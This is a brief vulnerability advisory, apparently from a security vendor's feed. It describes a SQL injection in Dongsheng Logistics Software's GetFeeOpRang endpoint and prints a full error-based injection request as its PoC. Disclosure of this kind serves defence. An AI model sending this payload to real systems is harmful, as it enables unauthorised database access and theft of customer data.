东胜物流软件 /MvcShipping/MsChFee/GetFeeOpRang SQL 注入漏洞

2025-11-07 东胜物流软件 PoC Public

Description

利用此漏洞，攻击者不仅可以探测数据库类型和版本（如Microsoft SQL Server），还可能进一步获取数据库中的管理员账号密码、客户信息、物流数据等敏感信息。在数据库权限较高的情况下，攻击者甚至可能向服务器写入恶意后门程序，最终完全控制服务器 。公开信息显示，东胜物流软件存在多个SQL注入点，这表明其整体安全性存在隐患

PoC

GET /MvcShipping/MsChFee/GetFeeOpRang?limit=25&optype=modOtherRecvFeeManagement'+AND+1%3dCONVERT(int,(SELECT+%40%40version))--&page=1&start=0 HTTP/1.1

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates#Dongsheng Logistics Software /MvcShipping/MsChFee/GetFeeOpRang SQL Injection Vulnerability

References

Related Vulnerabilities